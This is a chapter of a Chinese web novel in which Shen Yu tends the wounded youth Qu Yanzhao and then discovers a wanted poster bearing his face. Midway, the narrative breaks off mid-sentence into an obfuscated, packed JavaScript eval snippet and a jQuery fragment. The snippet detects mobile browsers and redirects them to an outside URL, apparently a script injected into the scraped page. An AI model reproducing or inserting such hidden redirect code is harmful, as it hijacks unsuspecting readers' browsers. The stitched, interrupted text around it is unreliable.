7. 初见端倪

作品:《男二把攻一养成老婆了

    是夜。


    月黑风高。


    伸手不见五指的房间,若不是轻微的呼吸声,几乎看不见有任何的变化。


    本来掩上的门,好像被风吹了一下,开了个小口。


    紧接着,门便关上了,好像并没有事情发生。


    温柔的男人和衣靠在木椅上,并没有察觉到什么。


    矫健的身影再次进入了山林。


    行至布了障眼法的地方,一条双头蛇窜了出来。


    与此同时,树梢上落下一只独脚的鹰。


    稳稳停在了少年抬起的胳膊上。


    少年从鹰的脚腕上,拿下了一支小竹筒,随后那独脚鹰便如离弦的箭一样飞向了空中。


    双头蛇紧紧缠在白细的脚腕上,像一条赤色的脚链。


    少年从那竹筒中倒了一枚东西出来,然后便放进了嘴里。


    如果能有光的话,能够看到少年本来有些暗淡的眼睛,像是镀了一层光。


    随后,他出了山林。


    在两条岔道口,少年停了下来。


    一条通往北边,那里是一个偏僻落后的镇子。


    还有一条通往南边,可以走水路回到他来的地方。


    少年垂眸,抬脚选择了其中一条。


    -


    沈毓问出声,其实也带着试探。


    曲延昭行事风格太危险了,如果不管不顾放出去,不知道还会不会增生更多的事端。


    他从曲延昭对他的行为态度来判断,有一半的把握他暂时不会对他动手。


    所以不管后续如何,能不能完成那个声音交给他的任务,现下先把曲延昭放在自己身边,还能监看一二。


    曲延昭本来忽闪着晶亮的眼睛望着沈毓,听到他的话以后,微微偏了偏头。


    似乎在思考沈毓话的意思。


    “问你是何方人氏,家中有何人也不告诉我,可是与家人吵架了赌气不想回?”沈毓轻声问。


    曲延昭依旧偏头看着他,没有回答。


    沈毓端坐起身,“罢了,看你年纪不大,想必是第一次出远门,这世道很复杂,可不像话本里写的那样轻易,你一个半大的孩子,若是闯了祸,都不知该怎么解决吧。”


    沈毓一边说一边熬药,浓郁的中药味弥漫在空中,闻着确实不怎么样。


    但对于沈毓来说,这样平淡的日子,很久都没体验过了,所以连带着苦涩的中药味,都格外令他感触颇深。


    “你若是还没想好去何处,可先暂住在我这里,等你伤好了,想明白了,我再送你去亲人团聚。”


    “你受了如此重的伤,若是被家人得知,该心疼了。”


    “没有。”


    沈毓说话一愣,他听到曲延昭开口了。


    对方听到沈毓说起亲人二字的时候,明显眼色变了变。


    沈毓敏锐捕捉到了他的情绪变化。


    话本里没有具体详说,但提到一句曲延昭有父母的,而且边寒松也说边域域主叫曲枢,难道说他不是曲延昭的亲人?


    沈毓有些不确定,但看曲延昭的样子,好像并不想提。


    “是没有……亲人吗?”


    沈毓不知是何原因导致了他不愿意提起。


    曲延昭眨眨眼,似乎在回答他的问题。


    “其实我也是孤身一人,一个连自己是谁都不知道的人,所以,你并不是特殊的。”


    沈毓轻微扯了下嘴角,联想到自己,竟生出一种惺惺相惜来。


    “听你说话不像中原人士,是从外域来的吗?”


    虞朝处最中央,地大物博,人员众多,随各地口音各有不同,但发音的方式是类似的,曲延昭的发音不是传统的中原调子。


    就算知道他是边域来的,但还是装作不知,想要听听他自己是怎么说的。


    可曲延昭此时又不说话了。


    既然不愿意说,沈毓也不是非得打破砂锅问到底,他转了个话风。


    “药熬好了,劳烦将碗递给我可好?”


    沈毓不欲多想那些不愉快的过往经历,朝曲延昭点点头。


    曲延昭愣了一下,随即伸手,将放在一旁的陶碗随手推到了沈毓的手边。


    沈毓将药汁倒进去,拿蒲扇扇了一会儿,然后递给了对方。


    “喝了,伤好的快。”


    曲延昭没动,看着那碗冒着怪味且黑漆漆的药汁,皱起了眉。


    沈毓也不逼他,只是端着在他面前不拿开。


    “你可是惹了当地的地头蛇,要是他来寻仇,我一个人可打不过。”


    沈毓一挑眉,故意将尤东阳的事提起来,想看曲延昭的反应。


    “你身手虽好但受伤总归是有影响,要是到时候让他们有了可趁之机,咱们俩都得……”


    沈毓话还没说完,曲延昭一把夺过药碗,嫌弃似的一饮而尽。


    沈毓心里有些想笑,心想果然是没长大的小子,三言两语的激将法就达到目的了。


    不过沈毓并没有在面上表现出来,他伸手从袖子里摸了摸,然后将手指按在了曲延昭的唇上。


    “张嘴。”


    说罢,一枚蜜饯放进了少年的口里。


    曲延昭一怔,皱眉看着沈毓,像是一脸的不可思议。


    似乎根本没料到沈毓会在他喝完药后放一颗蜜饯。


    沈毓轻柔一笑,“我小时候喝药也嫌苦,死活不喝,所以每次只要生病,我娘就会备好蜜饯,哄着我喝。”


    曲延昭愣愣地听着沈毓说起自己的过往,脸色非常怪异。


    “药铺郎中也早有准备,特意在药里配了蜜饯,专门哄你这种小孩子。”沈毓道。


    “不小。”


    曲延昭有些不爽,似乎不喜欢沈毓说他是小孩子。


    沈毓闻言觉得有趣,“你又不与我说你多大,姓甚名谁,我只好凭你外表判断了。”


    曲延昭似乎磨了磨牙,启齿道:“十五。”


    “昭。”


    沈毓听他说话一个字一个字的挺费劲儿,但是能听到他终于肯介绍自己,就算只是一个字,也算是进步,他接着引导:


    “十五岁了啊,确实算大了些。姓昭吗?还是——”


    “名。”


    曲延昭似乎不欲多说,转身准备回屋。


    沈毓轻笑,“好,我知晓了,昭。”


    -


    关于要不要跟着沈毓。


    曲延昭并没有明确给沈毓一个回答。


    但这几日曲延昭也没说要走,便暂时在沈毓这儿住了下来,他的体质好的令人瞠目结舌,不过几日,身上的伤就好的差不多了。


    而他自己背上的青肿才消下去。


    沈毓看着普通人要休养大半年的伤已经


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17201361|197200||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    结了痂,回想起自己当时不过挨了几刀,还有兰书卿这个神医在身边,都缓了大半年,不禁有些感慨。


    也有些对自己的身体素质产生了怀疑。


    难道真是因为在王室养尊处优惯了,所以才恢复的慢吗。


    曲延昭似乎不觉得自己伤好过于快有什么奇怪,反而是喝完了三副药之后便再不喝了。


    就算是沈毓拿着蜜饯给他,他也不动,独自在房间里拿着那个竹篾笼子玩。


    沈毓看到后解释道:“我给了它点儿吃的后,看它缓过来就没再照看,没想到这么快就跑了。”


    他也没注意,看到的时候就看到笼子上有绒毛,像是逃走的样子,所以也没多想。


    曲延昭没说话,仿佛不知道小松鼠的事一样。


    沈毓以为他是舍不得小松鼠,安抚道:“它毕竟是野物,很难养熟,你要是想养,我给你换只田鼠可好?”


    他记得之前来他这儿听学的那几个学童就有人养田鼠玩,似乎比松鼠要更容易些。


    然而曲延昭既没答应也没有拒绝。


    沈毓也没有非得问出个所以然来,看他的反应,又觉得有趣。


    “好了,先吃饭吧,不然凉了。”


    沈毓在院墙根上种了些学童家送的菜苗,现在已经长的丰茂了,这几日他都没出去买过食材。


    虽是粗茶淡饭,既能自给自足,又能省去一些开支,沈毓倒也满意。


    可是多了个人,肯定耗费上比他一个人多。


    沈毓想了想,最终还是决定再去抓几副药,顺便买点肉类。


    少年人正长身体,恢复起来是快,但最好还是药到病除,多吃点好的补补。


    要是像他一样耽搁了,留下后遗症总归不是好的。


    曲延昭吃的并不多,好像没胃口一样。


    于是沈毓给少年留了饭菜之后,便出了门。


    这几日都非常小心,怕尤东阳那伙人来算账,每次出门都将门上了锁。


    而且怕曲延昭的事被人发现,这几日也称病没开学堂。


    但令他有些意外的是尤家这次并没有来找他麻烦,按他记忆力尤家小心眼的印象,就算不是他动的手,想必也要给他点颜色瞧瞧。


    不过他早就做了两手准备,就算他们来了,他也有应对之策。


    就在沈毓刚走到镇上,准备去买些米面的时候。


    平日里贴官府告示的地方,聚集了许多百姓,挡住了沈毓的去路。


    “刘老三,你说悬赏千金可是真的?”


    “自然是真的,白字黑字可写的清清楚楚!”


    “这长的真吓人,值得县令大人掷千金,得犯多大的事!”


    “可不是犯事那么简单,这妖人,会吃人!”


    “啊?!”


    ……


    吵吵嚷嚷的,沈毓听到了几个词汇,有些纳闷儿。


    就在此时,有人认识沈毓,喊住了他。


    “沈先生!你来帮忙看看,这上面写的可是悬赏千金令?”


    沈毓愣了下,走到了告示面前。


    通缉的人,面上布满了纷繁杂乱的纹路,细看像是一群蛇弯弯绕绕布在脸上,遮住了看不清具体长相,但是眼睛却是清清楚楚,一黑一金的异瞳。


    看清后,沈毓微微睁大了眼睛。


    这不是曲延昭是谁!